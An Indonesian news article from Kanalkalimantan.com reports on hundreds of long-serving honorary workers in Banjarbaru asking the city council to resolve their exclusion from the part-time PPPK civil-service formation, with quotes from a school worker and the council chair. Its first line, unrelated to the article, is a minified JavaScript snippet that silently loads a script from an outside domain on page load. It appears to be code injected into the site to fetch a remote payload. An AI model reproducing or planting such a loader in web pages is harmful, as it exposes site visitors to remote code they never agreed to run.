(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ratusan tenaga honorer di lingkungan Pemerintah Kota Banjarbaru mendatangi rumah wakil rakyat DPRD Kota Banjarbaru, Selasa (16/9/2025).
Kedatangan perwakilan tenaga honorer dari pustakawan, tata usaha, dan penjaga sekolah ini buntut karena tidak masuk dalam formasi Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) Paruh Waktu yang diajukan Pemerintah Kota Banjarbaru ke BKN.
Salah satunya, Syafiah Sari Hartati yang mengaku sudah 18 tahun mengabdi sebagai honorer di SDN 3 Cempaka, namun hingga saat ini ia bersama rekan-rekannya tidak mendapat kepastian akan status kepegawaiannya.
Baca juga: Bawa 49,3 Kg Sabu dari Malaysia, Dua Jaringan Narkoba Fredy Pratama Dibekuk di Kalsel
“Tenaga honorer lain di sini ada yang 19 tahun, 21 tahun bahkan 22 tahun mengabdi. Rata-rata sudah lebih dari 7 tahun, terutama penjaga sekolah,” ujar Syafiah Sari Hartati.
Mereka menyayangnya tidak ada formasi bagi pustakawan maupun penjaga sekolah dalam PPPK Paruh Waktu.
Oleh sebab itu tujuan ratusan tenaga honorer ini datang meminta wakil rakyat Banjarbaru memperjuangkan status kepegawaian mereka yang sudah mengabdi bertahun-tahun.
“Harapannya status honorer bisa jelas, baik diangkat sebagai PPPK Paruh Waktu maupun Penuh Waktu,” tutupnya.
Baca juga: DPRD Kapuas Sampaikan Aspirasi Tuntutan Warga Ke DPRD Kalteng
Kedatangan ratusan tenaga honorer ini pun disambut oleh Ketua DPRD Kota Banjarbaru Gusti Rizky Sukma Iskandar Putera.
Rizky mengatakan kendala formasi PPPK Paruh Waktu terjadi akibat regulasi yang sudah berjalan sejak tahun sebelumnya.
“Tetapi kami berharap aspirasi ini bisa ditindaklanjuti DPRD Kota Banjarbaru. Daerah tetap bisa mengangkat jika formasi itu dibutuhkan,” ujar Ketua DPRD Kota Banjarbaru.
Baca juga: “Kelas Kecerdasan Artifisial” bagi Guru Bersama Mafindo Kalsel – FISIP ULM
Politikus partai Golkar ini mengungkap bahwa Kota Banjarbaru menjadi salah satu daerah yang tak luput dari dampak revisi formasi PPPK Paruh Waktu.
DPRD Banjarbaru berupaya mencari solusi agar para tenaga honorer tetap mendapat kepastian status.
Baca juga: Harpelnas 2025: Adira Finance Hadirkan “Terima Kasih Sahabat” ke Pelanggan
“Yang jelas statusnya diakui dulu, karena sesuai aturan Menteri PAN RB saat ini seleksi PPPK tetap berjalan, tapi formasi mereka dianggap dihapus. Itu yang jadi pertanyaan,” tuntas Rizky. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.